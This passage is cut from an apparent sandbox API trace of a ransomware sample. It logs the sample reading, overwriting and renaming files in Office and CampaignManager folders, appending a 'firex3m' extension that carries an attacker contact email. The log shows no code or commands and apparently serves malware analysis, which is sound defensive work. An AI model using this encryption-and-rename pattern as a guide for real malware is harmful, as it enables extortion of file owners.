lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0203.182] GetProcessHeap () returned 0x630000 [0203.182] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x6fe4288 [0203.182] GetProcessHeap () returned 0x630000 [0203.182] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x70ef930 [0203.182] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.182] ReadFile (in: hFile=0x710, lpBuffer=0x6fe4288, nNumberOfBytesToRead=0x49a0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe4288*, lpNumberOfBytesRead=0x5fbff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0205.422] GetProcessHeap () returned 0x630000 [0205.422] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0205.422] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.422] WriteFile (in: hFile=0x710, lpBuffer=0x70ef930*, nNumberOfBytesToWrite=0x49a0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ef930*, lpNumberOfBytesWritten=0x5fbff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0205.422] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.422] WriteFile (in: hFile=0x710, lpBuffer=0x70f42cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f42cf*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.422] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.422] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.422] CloseHandle (hObject=0x710) returned 1 [0205.423] GetProcessHeap () returned 0x630000 [0205.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ef930 | out: hHeap=0x630000) returned 1 [0205.423] GetProcessHeap () returned 0x630000 [0205.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe4288 | out: hHeap=0x630000) returned 1 [0205.423] GetProcessHeap () returned 0x630000 [0205.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0205.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4063decc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x49de, dwReserved0=0xad47496, dwReserved1=0x6fe4280, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d53c0 [0205.423] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0205.423] Sleep (dwMilliseconds=0x1) [0207.462] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF", len=0x70 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF") returned 1 [0207.462] GetProcessHeap () returned 0x630000 [0207.462] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c40) returned 0x6fe4288 [0207.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0207.464] CloseHandle (hObject=0x704) returned 1 [0207.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BLUECALM.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUECA~1.FIR")) returned 0x6d5280 [0207.623] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0207.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0207.623] GetProcessHeap () returned 0x630000 [0207.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0207.623] GetProcessHeap () returned 0x630000 [0207.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0207.623] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.623] ReadFile (in: hFile=0x704, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x5fbff0c*=0x220, lpOverlapped=0x0) returned 1 [0207.626] GetProcessHeap () returned 0x630000 [0207.626] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0207.626] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.626] WriteFile (in: hFile=0x704, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x5fbff0c*=0x220, lpOverlapped=0x0) returned 1 [0207.627] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.627] WriteFile (in: hFile=0x704, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.627] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.627] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.627] CloseHandle (hObject=0x704) returned 1 [0207.627] GetProcessHeap () returned 0x630000 [0207.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0207.627] GetProcessHeap () returned 0x630000 [0207.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0207.627] GetProcessHeap () returned 0x630000 [0207.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0207.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41b40727, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0xad47496, dwReserved1=0x717e140, cFileName="BLUECALM.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUECA~1.FIR")) returned 0x6d5280 [0207.628] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0207.628] Sleep (dwMilliseconds=0x1) [0207.634] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM", len=0x70 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM") returned 1 [0207.635] GetProcessHeap () returned 0x630000 [0207.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c3c) returned 0x6fe4288 [0207.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0207.635] CloseHandle (hObject=0x6c0) returned 1 [0207.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.636] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BLUECALM.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUECA~2.FIR")) returned 0x6d5380 [0207.637] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0207.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0207.637] GetProcessHeap () returned 0x630000 [0207.637] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0207.637] GetProcessHeap () returned 0x630000 [0207.637] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0207.637] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.637] ReadFile (in: hFile=0x6c0, lpBuffer=0x717648, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0215.154] GetProcessHeap () returned 0x630000 [0215.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0215.155] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.155] WriteFile (in: hFile=0x6c0, lpBuffer=0x719ec10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0215.155] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.155] WriteFile (in: hFile=0x6c0, lpBuffer=0x71aa00f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa00f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.155] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.155] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.155] CloseHandle (hObject=0x6c0) returned 1 [0215.156] GetProcessHeap () returned 0x630000 [0215.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0215.156] GetProcessHeap () returned 0x630000 [0215.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0215.156] GetProcessHeap () returned 0x630000 [0215.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0215.156] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x46312055, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc2de, dwReserved0=0xad47496, dwReserved1=0x717640, cFileName="BLUECALM.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUECA~2.FIR")) returned 0x6d5380 [0215.156] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0215.156] Sleep (dwMilliseconds=0x1) [0216.808] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html", len=0x6f | out: pbstr=0x5fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html") returned 1 [0216.808] GetProcessHeap () returned 0x630000 [0216.808] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fac) returned 0x74d7f88 [0216.808] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0216.816] CloseHandle (hObject=0x6a4) returned 1 [0216.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.817] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.817] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x987f, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0216.818] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0216.818] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0216.818] GetProcessHeap () returned 0x630000 [0216.818] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9881) returned 0x718b7d8 [0216.818] GetProcessHeap () returned 0x630000 [0216.818] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9881) returned 0x70a7c70 [0216.818] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.818] ReadFile (in: hFile=0x6a4, lpBuffer=0x718b7d8, nNumberOfBytesToRead=0x9860, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesRead=0x5fbff0c*=0x9860, lpOverlapped=0x0) returned 1 [0221.655] GetProcessHeap () returned 0x630000 [0221.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0221.655] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.655] WriteFile (in: hFile=0x6a4, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0x9860, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x5fbff0c*=0x9860, lpOverlapped=0x0) returned 1 [0221.655] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.655] WriteFile (in: hFile=0x6a4, lpBuffer=0x70b14cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b14cf*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.656] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.656] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.656] CloseHandle (hObject=0x6a4) returned 1 [0221.656] GetProcessHeap () returned 0x630000 [0221.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0221.656] GetProcessHeap () returned 0x630000 [0221.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0221.656] GetProcessHeap () returned 0x630000 [0221.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0221.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4a111227, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x98a3, dwReserved0=0xad47496, dwReserved1=0x718b7d0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0221.657] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0221.657] Sleep (dwMilliseconds=0x1) [0222.959] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html", len=0x6f | out: pbstr=0x5fbff7c*="C:\\Program 